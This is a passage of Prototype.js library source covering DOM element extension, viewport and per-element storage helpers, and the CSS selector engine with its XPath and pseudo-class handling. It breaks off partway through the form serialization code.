    div.innerHTML = t[0] + html + t[1];
    t[2].times(function() { div = div.firstChild });
  } else div.innerHTML = html;
  return $A(div.childNodes);
};

Element._insertionTranslations = {
  before: function(element, node) {
    element.parentNode.insertBefore(node, element);
  },
  top: function(element, node) {
    element.insertBefore(node, element.firstChild);
  },
  bottom: function(element, node) {
    element.appendChild(node);
  },
  after: function(element, node) {
    element.parentNode.insertBefore(node, element.nextSibling);
  },
  tags: {
    TABLE:  ['<table>',                '</table>',                   1],
    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
    SELECT: ['<select>',               '</select>',                  1]
  }
};

(function() {
  var tags = Element._insertionTranslations.tags;
  Object.extend(tags, {
    THEAD: tags.TBODY,
    TFOOT: tags.TBODY,
    TH:    tags.TD
  });
})();

Element.Methods.Simulated = {
  hasAttribute: function(element, attribute) {
    attribute = Element._attributeTranslations.has[attribute] || attribute;
    var node = $(element).getAttributeNode(attribute);
    return !!(node && node.specified);
  }
};

Element.Methods.ByTag = { };

Object.extend(Element, Element.Methods);

(function(div) {

  if (!Prototype.BrowserFeatures.ElementExtensions && div['__proto__']) {
    window.HTMLElement = { };
    window.HTMLElement.prototype = div['__proto__'];
    Prototype.BrowserFeatures.ElementExtensions = true;
  }

  div = null;

})(document.createElement('div'))

Element.extend = (function() {

  function checkDeficiency(tagName) {
    if (typeof window.Element != 'undefined') {
      var proto = window.Element.prototype;
      if (proto) {
        var id = '_' + (Math.random()+'').slice(2);
        var el = document.createElement(tagName);
        proto[id] = 'x';
        var isBuggy = (el[id] !== 'x');
        delete proto[id];
        el = null;
        return isBuggy;
      }
    }
    return false;
  }

  function extendElementWith(element, methods) {
    for (var property in methods) {
      var value = methods[property];
      if (Object.isFunction(value) && !(property in element))
        element[property] = value.methodize();
    }
  }

  var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY = checkDeficiency('object');

  if (Prototype.BrowserFeatures.SpecificElementExtensions) {
    if (HTMLOBJECTELEMENT_PROTOTYPE_BUGGY) {
      return function(element) {
        if (element && typeof element._extendedByPrototype == 'undefined') {
          var t = element.tagName;
          if (t && (/^(?:object|applet|embed)$/i.test(t))) {
            extendElementWith(element, Element.Methods);
            extendElementWith(element, Element.Methods.Simulated);
            extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
          }
        }
        return element;
      }
    }
    return Prototype.K;
  }

  var Methods = { }, ByTag = Element.Methods.ByTag;

  var extend = Object.extend(function(element) {
    if (!element || typeof element._extendedByPrototype != 'undefined' ||
        element.nodeType != 1 || element == window) return element;

    var methods = Object.clone(Methods),
        tagName = element.tagName.toUpperCase();

    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);

    extendElementWith(element, methods);

    element._extendedByPrototype = Prototype.emptyFunction;
    return element;

  }, {
    refresh: function() {
      if (!Prototype.BrowserFeatures.ElementExtensions) {
        Object.extend(Methods, Element.Methods);
        Object.extend(Methods, Element.Methods.Simulated);
      }
    }
  });

  extend.refresh();
  return extend;
})();

Element.hasAttribute = function(element, attribute) {
  if (element.hasAttribute) return element.hasAttribute(attribute);
  return Element.Methods.Simulated.hasAttribute(element, attribute);
};

Element.addMethods = function(methods) {
  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;

  if (!methods) {
    Object.extend(Form, Form.Methods);
    Object.extend(Form.Element, Form.Element.Methods);
    Object.extend(Element.Methods.ByTag, {
      "FORM":     Object.clone(Form.Methods),
      "INPUT":    Object.clone(Form.Element.Methods),
      "SELECT":   Object.clone(Form.Element.Methods),
      "TEXTAREA": Object.clone(Form.Element.Methods)
    });
  }

  if (arguments.length == 2) {
    var tagName = methods;
    methods = arguments[1];
  }

  if (!tagName) Object.extend(Element.Methods, methods || { });
  else {
    if (Object.isArray(tagName)) tagName.each(extend);
    else extend(tagName);
  }

  function extend(tagName) {
    tagName = tagName.toUpperCase();
    if (!Element.Methods.ByTag[tagName])
      Element.Methods.ByTag[tagName] = { };
    Object.extend(Element.Methods.ByTag[tagName], methods);
  }

  function copy(methods, destination, onlyIfAbsent) {
    onlyIfAbsent = onlyIfAbsent || false;
    for (var property in methods) {
      var value = methods[property];
      if (!Object.isFunction(value)) continue;
      if (!onlyIfAbsent || !(property in destination))
        destination[property] = value.methodize();
    }
  }

  function findDOMClass(tagName) {
    var klass;
    var trans = {
      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
      "FrameSet", "IFRAME": "IFrame"
    };
    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
    if (window[klass]) return window[klass];
    klass = 'HTML' + tagName + 'Element';
    if (window[klass]) return window[klass];
    klass = 'HTML' + tagName.capitalize() + 'Element';
    if (window[klass]) return window[klass];

    var element = document.createElement(tagName);
    var proto = element['__proto__'] || element.constructor.prototype;
    element = null;
    return proto;
  }

  var elementPrototype = window.HTMLElement ? HTMLElement.prototype :
   Element.prototype;

  if (F.ElementExtensions) {
    copy(Element.Methods, elementPrototype);
    copy(Element.Methods.Simulated, elementPrototype, true);
  }

  if (F.SpecificElementExtensions) {
    for (var tag in Element.Methods.ByTag) {
      var klass = findDOMClass(tag);
      if (Object.isUndefined(klass)) continue;
      copy(T[tag], klass.prototype);
    }
  }

  Object.extend(Element, Element.Methods);
  delete Element.ByTag;

  if (Element.extend.refresh) Element.extend.refresh();
  Element.cache = { };
};


document.viewport = {

  getDimensions: function() {
    return { width: this.getWidth(), height: this.getHeight() };
  },

  getScrollOffsets: function() {
    return Element._returnOffset(
      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
      window.pageYOffset || document.documentElement.scrollTop  || document.body.scrollTop);
  }
};

(function(viewport) {
  var B = Prototype.Browser, doc = document, element, property = {};

  function getRootElement() {
    if (B.WebKit && !doc.evaluate)
      return document;

    if (B.Opera && window.parseFloat(window.opera.version()) < 9.5)
      return document.body;

    return document.documentElement;
  }

  function define(D) {
    if (!element) element = getRootElement();

    property[D] = 'client' + D;

    viewport['get' + D] = function() { return element[property[D]] };
    return viewport['get' + D]();
  }

  viewport.getWidth  = define.curry('Width');

  viewport.getHeight = define.curry('Height');
})(document.viewport);


Element.Storage = {
  UID: 1
};

Element.addMethods({
  getStorage: function(element) {
    if (!(element = $(element))) return;

    var uid;
    if (element === window) {
      uid = 0;
    } else {
      if (typeof element._prototypeUID === "undefined")
        element._prototypeUID = [Element.Storage.UID++];
      uid = element._prototypeUID[0];
    }

    if (!Element.Storage[uid])
      Element.Storage[uid] = $H();

    return Element.Storage[uid];
  },

  store: function(element, key, value) {
    if (!(element = $(element))) return;

    if (arguments.length === 2) {
      Element.getStorage(element).update(key);
    } else {
      Element.getStorage(element).set(key, value);
    }

    return element;
  },

  retrieve: function(element, key, defaultValue) {
    if (!(element = $(element))) return;
    var hash = Element.getStorage(element), value = hash.get(key);

    if (Object.isUndefined(value)) {
      hash.set(key, defaultValue);
      value = defaultValue;
    }

    return value;
  },

  clone: function(element, deep) {
    if (!(element = $(element))) return;
    var clone = element.cloneNode(deep);
    clone._prototypeUID = void 0;
    if (deep) {
      var descendants = Element.select(clone, '*'),
          i = descendants.length;
      while (i--) {
        descendants[i]._prototypeUID = void 0;
      }
    }
    return Element.extend(clone);
  }
});
/* Portions of the Selector class are derived from Jack Slocum's DomQuery,
 * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
 * license.  Please see http://www.yui-ext.com/ for more information. */

var Selector = Class.create({
  initialize: function(expression) {
    this.expression = expression.strip();

    if (this.shouldUseSelectorsAPI()) {
      this.mode = 'selectorsAPI';
    } else if (this.shouldUseXPath()) {
      this.mode = 'xpath';
      this.compileXPathMatcher();
    } else {
      this.mode = "normal";
      this.compileMatcher();
    }

  },

  shouldUseXPath: (function() {

    var IS_DESCENDANT_SELECTOR_BUGGY = (function(){
      var isBuggy = false;
      if (document.evaluate && window.XPathResult) {
        var el = document.createElement('div');
        el.innerHTML = '<ul><li></li></ul><div><ul><li></li></ul></div>';

        var xpath = ".//*[local-name()='ul' or local-name()='UL']" +
          "//*[local-name()='li' or local-name()='LI']";

        var result = document.evaluate(xpath, el, null,
          XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);

        isBuggy = (result.snapshotLength !== 2);
        el = null;
      }
      return isBuggy;
    })();

    return function() {
      if (!Prototype.BrowserFeatures.XPath) return false;

      var e = this.expression;

      if (Prototype.Browser.WebKit &&
       (e.include("-of-type") || e.include(":empty")))
        return false;

      if ((/(\[[\w-]*?:|:checked)/).test(e))
        return false;

      if (IS_DESCENDANT_SELECTOR_BUGGY) return false;

      return true;
    }

  })(),

  shouldUseSelectorsAPI: function() {
    if (!Prototype.BrowserFeatures.SelectorsAPI) return false;

    if (Selector.CASE_INSENSITIVE_CLASS_NAMES) return false;

    if (!Selector._div) Selector._div = new Element('div');

    try {
      Selector._div.querySelector(this.expression);
    } catch(e) {
      return false;
    }

    return true;
  },

  compileMatcher: function() {
    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
        c = Selector.criteria, le, p, m, len = ps.length, name;

    if (Selector._cache[e]) {
      this.matcher = Selector._cache[e];
      return;
    }

    this.matcher = ["this.matcher = function(root) {",
                    "var r = root, h = Selector.handlers, c = false, n;"];

    while (e && le != e && (/\S/).test(e)) {
      le = e;
      for (var i = 0; i<len; i++) {
        p = ps[i].re;
        name = ps[i].name;
        if (m = e.match(p)) {
          this.matcher.push(Object.isFunction(c[name]) ? c[name](m) :
            new Template(c[name]).evaluate(m));
          e = e.replace(m[0], '');
          break;
        }
      }
    }

    this.matcher.push("return h.unique(n);\n}");
    eval(this.matcher.join('\n'));
    Selector._cache[this.expression] = this.matcher;
  },

  compileXPathMatcher: function() {
    var e = this.expression, ps = Selector.patterns,
        x = Selector.xpath, le, m, len = ps.length, name;

    if (Selector._cache[e]) {
      this.xpath = Selector._cache[e]; return;
    }

    this.matcher = ['.//*'];
    while (e && le != e && (/\S/).test(e)) {
      le = e;
      for (var i = 0; i<len; i++) {
        name = ps[i].name;
        if (m = e.match(ps[i].re)) {
          this.matcher.push(Object.isFunction(x[name]) ? x[name](m) :
            new Template(x[name]).evaluate(m));
          e = e.replace(m[0], '');
          break;
        }
      }
    }

    this.xpath = this.matcher.join('');
    Selector._cache[this.expression] = this.xpath;
  },

  findElements: function(root) {
    root = root || document;
    var e = this.expression, results;

    switch (this.mode) {
      case 'selectorsAPI':
        if (root !== document) {
          var oldId = root.id, id = $(root).identify();
          id = id.replace(/([\.:])/g, "\\$1");
          e = "#" + id + " " + e;
        }
		if(typeof root == "string") root = $(root);
        results = $A(root.querySelectorAll(e)).map(Element.extend);
        root.id = oldId;

        return results;
      case 'xpath':
        return document._getElementsByXPath(this.xpath, root);
      default:
       return this.matcher(root);
    }
  },

  match: function(element) {
    this.tokens = [];

    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
    var le, p, m, len = ps.length, name;

    while (e && le !== e && (/\S/).test(e)) {
      le = e;
      for (var i = 0; i<len; i++) {
        p = ps[i].re;
        name = ps[i].name;
        if (m = e.match(p)) {
          if (as[name]) {
            this.tokens.push([name, Object.clone(m)]);
            e = e.replace(m[0], '');
          } else {
            return this.findElements(document).include(element);
          }
        }
      }
    }

    var match = true, name, matches;
    for (var i = 0, token; token = this.tokens[i]; i++) {
      name = token[0], matches = token[1];
      if (!Selector.assertions[name](element, matches)) {
        match = false; break;
      }
    }

    return match;
  },

  toString: function() {
    return this.expression;
  },

  inspect: function() {
    return "#<Selector:" + this.expression.inspect() + ">";
  }
});

if (Prototype.BrowserFeatures.SelectorsAPI &&
 document.compatMode === 'BackCompat') {
  Selector.CASE_INSENSITIVE_CLASS_NAMES = (function(){
    var div = document.createElement('div'),
     span = document.createElement('span');

    div.id = "prototype_test_id";
    span.className = 'Test';
    div.appendChild(span);
    var isIgnored = (div.querySelector('#prototype_test_id .test') !== null);
    div = span = null;
    return isIgnored;
  })();
}

Object.extend(Selector, {
  _cache: { },

  xpath: {
    descendant:   "//*",
    child:        "/*",
    adjacent:     "/following-sibling::*[1]",
    laterSibling: '/following-sibling::*',
    tagName:      function(m) {
      if (m[1] == '*') return '';
      return "[local-name()='" + m[1].toLowerCase() +
             "' or local-name()='" + m[1].toUpperCase() + "']";
    },
    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
    id:           "[@id='#{1}']",
    attrPresence: function(m) {
      m[1] = m[1].toLowerCase();
      return new Template("[@#{1}]").evaluate(m);
    },
    attr: function(m) {
      m[1] = m[1].toLowerCase();
      m[3] = m[5] || m[6];
      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
    },
    pseudo: function(m) {
      var h = Selector.xpath.pseudos[m[1]];
      if (!h) return '';
      if (Object.isFunction(h)) return h(m);
      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
    },
    operators: {
      '=':  "[@#{1}='#{3}']",
      '!=': "[@#{1}!='#{3}']",
      '^=': "[starts-with(@#{1}, '#{3}')]",
      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
      '*=': "[contains(@#{1}, '#{3}')]",
      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
    },
    pseudos: {
      'first-child': '[not(preceding-sibling::*)]',
      'last-child':  '[not(following-sibling::*)]',
      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
      'empty':       "[count(*) = 0 and (count(text()) = 0)]",
      'checked':     "[@checked]",
      'disabled':    "[(@disabled) and (@type!='hidden')]",
      'enabled':     "[not(@disabled) and (@type!='hidden')]",
      'not': function(m) {
        var e = m[6], p = Selector.patterns,
            x = Selector.xpath, le, v, len = p.length, name;

        var exclusion = [];
        while (e && le != e && (/\S/).test(e)) {
          le = e;
          for (var i = 0; i<len; i++) {
            name = p[i].name
            if (m = e.match(p[i].re)) {
              v = Object.isFunction(x[name]) ? x[name](m) : new Template(x[name]).evaluate(m);
              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
              e = e.replace(m[0], '');
              break;
            }
          }
        }
        return "[not(" + exclusion.join(" and ") + ")]";
      },
      'nth-child':      function(m) {
        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
      },
      'nth-last-child': function(m) {
        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
      },
      'nth-of-type':    function(m) {
        return Selector.xpath.pseudos.nth("position() ", m);
      },
      'nth-last-of-type': function(m) {
        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
      },
      'first-of-type':  function(m) {
        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
      },
      'last-of-type':   function(m) {
        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
      },
      'only-of-type':   function(m) {
        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
      },
      nth: function(fragment, m) {
        var mm, formula = m[6], predicate;
        if (formula == 'even') formula = '2n+0';
        if (formula == 'odd')  formula = '2n+1';
        if (mm = formula.match(/^(\d+)$/)) // digit only
          return '[' + fragment + "= " + mm[1] + ']';
        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
          if (mm[1] == "-") mm[1] = -1;
          var a = mm[1] ? Number(mm[1]) : 1;
          var b = mm[2] ? Number(mm[2]) : 0;
          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
          "((#{fragment} - #{b}) div #{a} >= 0)]";
          return new Template(predicate).evaluate({
            fragment: fragment, a: a, b: b });
        }
      }
    }
  },

  criteria: {
    tagName:      'n = h.tagName(n, r, "#{1}", c);      c = false;',
    className:    'n = h.className(n, r, "#{1}", c);    c = false;',
    id:           'n = h.id(n, r, "#{1}", c);           c = false;',
    attrPresence: 'n = h.attrPresence(n, r, "#{1}", c); c = false;',
    attr: function(m) {
      m[3] = (m[5] || m[6]);
      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}", c); c = false;').evaluate(m);
    },
    pseudo: function(m) {
      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
    },
    descendant:   'c = "descendant";',
    child:        'c = "child";',
    adjacent:     'c = "adjacent";',
    laterSibling: 'c = "laterSibling";'
  },

  patterns: [
    { name: 'laterSibling', re: /^\s*~\s*/ },
    { name: 'child',        re: /^\s*>\s*/ },
    { name: 'adjacent',     re: /^\s*\+\s*/ },
    { name: 'descendant',   re: /^\s/ },

    { name: 'tagName',      re: /^\s*(\*|[\w\-]+)(\b|$)?/ },
    { name: 'id',           re: /^#([\w\-\*]+)(\b|$)/ },
    { name: 'className',    re: /^\.([\w\-\*]+)(\b|$)/ },
    { name: 'pseudo',       re: /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s|[:+~>]))/ },
    { name: 'attrPresence', re: /^\[((?:[\w-]+:)?[\w-]+)\]/ },
    { name: 'attr',         re: /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/ }
  ],

  assertions: {
    tagName: function(element, matches) {
      return matches[1].toUpperCase() == element.tagName.toUpperCase();
    },

    className: function(element, matches) {
      return Element.hasClassName(element, matches[1]);
    },

    id: function(element, matches) {
      return element.id === matches[1];
    },

    attrPresence: function(element, matches) {
      return Element.hasAttribute(element, matches[1]);
    },

    attr: function(element, matches) {
      var nodeValue = Element.readAttribute(element, matches[1]);
      return nodeValue && Selector.operators[matches[2]](nodeValue, matches[5] || matches[6]);
    }
  },

  handlers: {
    concat: function(a, b) {
      for (var i = 0, node; node = b[i]; i++)
        a.push(node);
      return a;
    },

    mark: function(nodes) {
      var _true = Prototype.emptyFunction;
      for (var i = 0, node; node = nodes[i]; i++)
        node._countedByPrototype = _true;
      return nodes;
    },

    unmark: (function(){

      var PROPERTIES_ATTRIBUTES_MAP = (function(){
        var el = document.createElement('div'),
            isBuggy = false,
            propName = '_countedByPrototype',
            value = 'x'
        el[propName] = value;
        isBuggy = (el.getAttribute(propName) === value);
        el = null;
        return isBuggy;
      })();

      return PROPERTIES_ATTRIBUTES_MAP ?
        function(nodes) {
          for (var i = 0, node; node = nodes[i]; i++)
            node.removeAttribute('_countedByPrototype');
          return nodes;
        } :
        function(nodes) {
          for (var i = 0, node; node = nodes[i]; i++)
            node._countedByPrototype = void 0;
          return nodes;
        }
    })(),
	
    index: function(parentNode, reverse, ofType) {
      parentNode._countedByPrototype = Prototype.emptyFunction;
      if (reverse) {
        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
          var node = nodes[i];
          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
        }
      } else {
        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
      }
    },

    unique: function(nodes) {
      if (nodes.length == 0) return nodes;
      var results = [], n;
      for (var i = 0, l = nodes.length; i < l; i++)
        if (typeof (n = nodes[i])._countedByPrototype == 'undefined') {
          n._countedByPrototype = Prototype.emptyFunction;
          results.push(Element.extend(n));
        }
      return Selector.handlers.unmark(results);
    },

    descendant: function(nodes) {
      var h = Selector.handlers;
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        h.concat(results, node.getElementsByTagName('*'));
      return results;
    },

    child: function(nodes) {
      var h = Selector.handlers;
      for (var i = 0, results = [], node; node = nodes[i]; i++) {
        for (var j = 0, child; child = node.childNodes[j]; j++)
          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
      }
      return results;
    },

    adjacent: function(nodes) {
      for (var i = 0, results = [], node; node = nodes[i]; i++) {
        var next = this.nextElementSibling(node);
        if (next) results.push(next);
      }
      return results;
    },

    laterSibling: function(nodes) {
      var h = Selector.handlers;
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        h.concat(results, Element.nextSiblings(node));
      return results;
    },

    nextElementSibling: function(node) {
      while (node = node.nextSibling)
        if (node.nodeType == 1) return node;
      return null;
    },

    previousElementSibling: function(node) {
      while (node = node.previousSibling)
        if (node.nodeType == 1) return node;
      return null;
    },

    tagName: function(nodes, root, tagName, combinator) {
      var uTagName = tagName.toUpperCase();
      var results = [], h = Selector.handlers;
      if (nodes) {
        if (combinator) {
          if (combinator == "descendant") {
            for (var i = 0, node; node = nodes[i]; i++)
              h.concat(results, node.getElementsByTagName(tagName));
            return results;
          } else nodes = this[combinator](nodes);
          if (tagName == "*") return nodes;
        }
        for (var i = 0, node; node = nodes[i]; i++)
          if (node.tagName.toUpperCase() === uTagName) results.push(node);
        return results;
      } else return root.getElementsByTagName(tagName);
    },

    id: function(nodes, root, id, combinator) {
      var targetNode = $(id), h = Selector.handlers;

      if (root == document) {
        if (!targetNode) return [];
        if (!nodes) return [targetNode];
      } else {
        if (!root.sourceIndex || root.sourceIndex < 1) {
          var nodes = root.getElementsByTagName('*');
          for (var j = 0, node; node = nodes[j]; j++) {
            if (node.id === id) return [node];
          }
        }
      }

      if (nodes) {
        if (combinator) {
          if (combinator == 'child') {
            for (var i = 0, node; node = nodes[i]; i++)
              if (targetNode.parentNode == node) return [targetNode];
          } else if (combinator == 'descendant') {
            for (var i = 0, node; node = nodes[i]; i++)
              if (Element.descendantOf(targetNode, node)) return [targetNode];
          } else if (combinator == 'adjacent') {
            for (var i = 0, node; node = nodes[i]; i++)
              if (Selector.handlers.previousElementSibling(targetNode) == node)
                return [targetNode];
          } else nodes = h[combinator](nodes);
        }
        for (var i = 0, node; node = nodes[i]; i++)
          if (node == targetNode) return [targetNode];
        return [];
      }
      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
    },

    className: function(nodes, root, className, combinator) {
      if (nodes && combinator) nodes = this[combinator](nodes);
      return Selector.handlers.byClassName(nodes, root, className);
    },

    byClassName: function(nodes, root, className) {
      if (!nodes) nodes = Selector.handlers.descendant([root]);
      var needle = ' ' + className + ' ';
      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
        nodeClassName = node.className;
        if (nodeClassName.length == 0) continue;
        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
          results.push(node);
      }
      return results;
    },

    attrPresence: function(nodes, root, attr, combinator) {
      if (!nodes) nodes = root.getElementsByTagName("*");
      if (nodes && combinator) nodes = this[combinator](nodes);
      var results = [];
      for (var i = 0, node; node = nodes[i]; i++)
        if (Element.hasAttribute(node, attr)) results.push(node);
      return results;
    },

    attr: function(nodes, root, attr, value, operator, combinator) {
      if (!nodes) nodes = root.getElementsByTagName("*");
      if (nodes && combinator) nodes = this[combinator](nodes);
      var handler = Selector.operators[operator], results = [];
      for (var i = 0, node; node = nodes[i]; i++) {
        var nodeValue = Element.readAttribute(node, attr);
        if (nodeValue === null) continue;
        if (handler(nodeValue, value)) results.push(node);
      }
      return results;
    },

    pseudo: function(nodes, name, value, root, combinator) {
      if (nodes && combinator) nodes = this[combinator](nodes);
      if (!nodes) nodes = root.getElementsByTagName("*");
      return Selector.pseudos[name](nodes, value, root);
    }
  },

  pseudos: {
    'first-child': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++) {
        if (Selector.handlers.previousElementSibling(node)) continue;
          results.push(node);
      }
      return results;
    },
    'last-child': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++) {
        if (Selector.handlers.nextElementSibling(node)) continue;
          results.push(node);
      }
      return results;
    },
    'only-child': function(nodes, value, root) {
      var h = Selector.handlers;
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
          results.push(node);
      return results;
    },
    'nth-child':        function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, formula, root);
    },
    'nth-last-child':   function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, formula, root, true);
    },
    'nth-of-type':      function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, formula, root, false, true);
    },
    'nth-last-of-type': function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, formula, root, true, true);
    },
    'first-of-type':    function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, "1", root, false, true);
    },
    'last-of-type':     function(nodes, formula, root) {
      return Selector.pseudos.nth(nodes, "1", root, true, true);
    },
    'only-of-type':     function(nodes, formula, root) {
      var p = Selector.pseudos;
      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
    },

    getIndices: function(a, b, total) {
      if (a == 0) return b > 0 ? [b] : [];
      return $R(1, total).inject([], function(memo, i) {
        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
        return memo;
      });
    },

    nth: function(nodes, formula, root, reverse, ofType) {
      if (nodes.length == 0) return [];
      if (formula == 'even') formula = '2n+0';
      if (formula == 'odd')  formula = '2n+1';
      var h = Selector.handlers, results = [], indexed = [], m;
      h.mark(nodes);
      for (var i = 0, node; node = nodes[i]; i++) {
        if (!node.parentNode._countedByPrototype) {
          h.index(node.parentNode, reverse, ofType);
          indexed.push(node.parentNode);
        }
      }
      if (formula.match(/^\d+$/)) { // just a number
        formula = Number(formula);
        for (var i = 0, node; node = nodes[i]; i++)
          if (node.nodeIndex == formula) results.push(node);
      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
        if (m[1] == "-") m[1] = -1;
        var a = m[1] ? Number(m[1]) : 1;
        var b = m[2] ? Number(m[2]) : 0;
        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
          for (var j = 0; j < l; j++)
            if (node.nodeIndex == indices[j]) results.push(node);
        }
      }
      h.unmark(nodes);
      h.unmark(indexed);
      return results;
    },

    'empty': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++) {
        if (node.tagName == '!' || node.firstChild) continue;
        results.push(node);
      }
      return results;
    },

    'not': function(nodes, selector, root) {
      var h = Selector.handlers, selectorType, m;
      var exclusions = new Selector(selector).findElements(root);
      h.mark(exclusions);
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        if (!node._countedByPrototype) results.push(node);
      h.unmark(exclusions);
      return results;
    },

    'enabled': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        if (!node.disabled && (!node.type || node.type !== 'hidden'))
          results.push(node);
      return results;
    },

    'disabled': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        if (node.disabled) results.push(node);
      return results;
    },

    'checked': function(nodes, value, root) {
      for (var i = 0, results = [], node; node = nodes[i]; i++)
        if (node.checked) results.push(node);
      return results;
    }
  },

  operators: {
    '=':  function(nv, v) { return nv == v; },
    '!=': function(nv, v) { return nv != v; },
    '^=': function(nv, v) { return nv == v || nv && nv.startsWith(v); },
    '$=': function(nv, v) { return nv == v || nv && nv.endsWith(v); },
    '*=': function(nv, v) { return nv == v || nv && nv.include(v); },
    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
    '|=': function(nv, v) { return ('-' + (nv || "").toUpperCase() +
     '-').include('-' + (v || "").toUpperCase() + '-'); }
  },

  split: function(expression) {
    var expressions = [];
    expression.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
      expressions.push(m[1].strip());
    });
    return expressions;
  },

  matchElements: function(elements, expression) {
    var matches = $$(expression), h = Selector.handlers;
    h.mark(matches);
    for (var i = 0, results = [], element; element = elements[i]; i++)
      if (element._countedByPrototype) results.push(element);
    h.unmark(matches);
    return results;
  },

  findElement: function(elements, expression, index) {
    if (Object.isNumber(expression)) {
      index = expression; expression = false;
    }
    return Selector.matchElements(elements, expression || '*')[index || 0];
  },

  findChildElements: function(element, expressions) {
    expressions = Selector.split(expressions.join(','));
    var results = [], h = Selector.handlers;
    for (var i = 0, l = expressions.length, selector; i < l; i++) {
      selector = new Selector(expressions[i].strip());
      h.concat(results, selector.findElements(element));
    }
    return (l > 1) ? h.unique(results) : results;
  }
});

if (Prototype.Browser.IE) {
  Object.extend(Selector.handlers, {
    concat: function(a, b) {
      for (var i = 0, node; node = b[i]; i++)
        if (node.tagName !== "!") a.push(node);
      return a;
    }
  });
}

function $$() {
  return Selector.findChildElements(document, $A(arguments));
}

var Form = {
  reset: function(form) {
    form = $(form);
    form.reset();
    return form;
  },

  serializeElements: function(elements, options) {
    if (typeof options != 'object') options = { hash: !!options };
    else if (Object.isUndefined(options.hash)) options.hash = true;
    var key, value, submitted = false, submit = options.submit;

    var data = elements.inject({ }, function(result, element) {
      if (!element.disabled && element.name) {
        key = element.name; value = $(element).getValue();
        if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
            submit !== false && (!submit || key == submit) && (submitted = true)))) {
          if (key in result) {
            if (!Object.isArray(result[key])) result[key] = [result[key]];
            result[key].push(value);
          }
          else result[key] = value;
        }
      }
      return result;
    });

